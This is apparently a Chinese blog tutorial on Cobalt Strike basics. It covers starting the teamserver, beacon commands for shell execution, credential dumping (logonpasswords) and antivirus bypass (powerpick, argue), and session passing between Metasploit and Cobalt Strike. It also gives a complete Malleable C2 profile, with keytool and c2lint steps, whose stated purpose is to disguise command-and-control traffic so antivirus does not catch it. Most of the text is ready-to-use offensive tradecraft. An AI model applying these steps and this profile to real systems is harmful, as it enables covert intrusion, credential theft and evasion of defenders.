CobaltStrike基础
1. CobaltStrike简答介绍
CS的启动方式,在cs文件夹下执行 teamserver
具体格式位:./ teamserver 服务器IP地址 登录密码,然后在执行 ./start.sh即可启动。
CS是一款团队工具只要用户名不同可以让多人连接使用
从左到右每一个工具条的含义
分别是连接另一个服务器、断开当前服务器、配置监听、切换服务器节点图、切换成会话列表、切换成目标列表、查看凭据、查看下载的文件、查看键盘记录、查看屏幕截图、生成payload、生成java攻击载荷、生成宏、web传递攻击
CS只能在后渗透当中使用,必须得到一个会话之后才能进行操作,
在CS上设置监听
可以在attacks当中生成exe
也可以生成一个web攻击然后也获得一个监听,在会话上线之后不同颜色代表着采用着不同的协议:
绿色--是http或者https连接
蓝色--Tcp
黄色--DNS
橙色--SMB
2. 基础操作
CS默认每60S与会话执行一次连接,时间比较长,此时我们可以使用sleep命令来进行修改时间
使用shell命令来进行cmd命令的执行
还可以使用run来执行cmd命令
execute:执行一个文件
powershell:执行powershell命令(调用系统的powershell.exe)
powerpick:执行powershell名字但是不调用powershell.exe可以绕过一些powershell策略和杀软
execute-assembly:执行一个.net程序
在相关会话中我们可以通过鼠标右键当中的Explore中的File Browser 和Process List来查看目标的文件和进程
logonpasswords:尝试抓取用户密码(有管理员权限才能使用)
argue:参数欺骗,绕过杀软
3. msf的联动
3.1 MSF联动CS
msf与CS的联动方式,当在msf当中获得一个会话时,我们可以退出会话模式,然后使用exploit/windows/local/payload_inject模块,设置payload,payload中所使用的监听协议必须要和CS当中设置的协议一致,然后设置lhost和lport都要与CS监听当中的保持一致,最后设置session,exploit执行之后就可以在CS当中看到会话已经上线
联动时msf上的操作
联动时CS上的操作
3.2 CS联动MSF
现在MSF上设置一个会话监听,还是使用exploit/multi/handler模块,注意使用payload时所使用的协议要与CS当中的保持一致
然后在CS当中重新添加一个会话,payload使用Foreign HTTP(外部监听器),监听地址和端口要与MSF当中设置的保持一致。
然后把我们在CS当中监听的端口通过派生选择会话传递给我们的MSF当中
选择之后需要等一段时间,比较漫长,发现传递成功
4. 流量加密
C2-profil流量加密,因为在建立连接的时候不管怎么样都会有流量的产生,流量当中的特定部分会被杀软识别,进行拦截,所以要进行的流量的加密来绕过杀软
*要在CS启动之前使用*
使用的命令为:keytool -genkey -alias demo(自定义) -keyalg RSA -validity 36500 -keystore demo.store
生成一个.store文件,然后需要我们去修改.profile文件(默认没有需要自己添加,文件名最好与我们创建的.store文件一致)
.profile文件内容为
```
set sample_name "moonsec POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "10"; # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
设置证书
https-certificate {
set CN "y";
set O "y";
set C "y";
set L "y";
set OU "y";
set ST "y";
set validity "365";
}
设置
code-signer{
set keystore "demo.store";
set password "wxq20014.22";
set alias "demo";
}
指定 DNS beacon 不用的时候指定到 IP 地址
set dns_idle "8.8.4.4";
每个单独 DNS 请求前强制睡眠时间
set dns_sleep "0";
通过 DNS 上载数据时主机名的最大长度[0-255]
set maxdns "235";
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urlencoded";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @
PC&wv=11&gr=backoff&bv=1.55&data=";
print;
} }
server {
output {
print;
} } }
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
} }
server {
header "Content-Type" "text/plain";
output {
base64;
print;
} } }
```
下图当中的的划线部分是我们在.porfile文件需要进行修改的
修改过后我们可以使用./c2lint demo.profile(文件名)命令进行测试
只要下方显示了SSLOK我们就可以进行使用
然后就是使用我们生成的proflie文件去启动我们的CS了
此时启动CS的命令为./teamserver 192.168.10.132(监听的IP地址) 123456(登录CS的密码) ./demo.profile
启动CS客户端./start.sh
此时进行通信的时候流量就是我们自定义的类型了
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论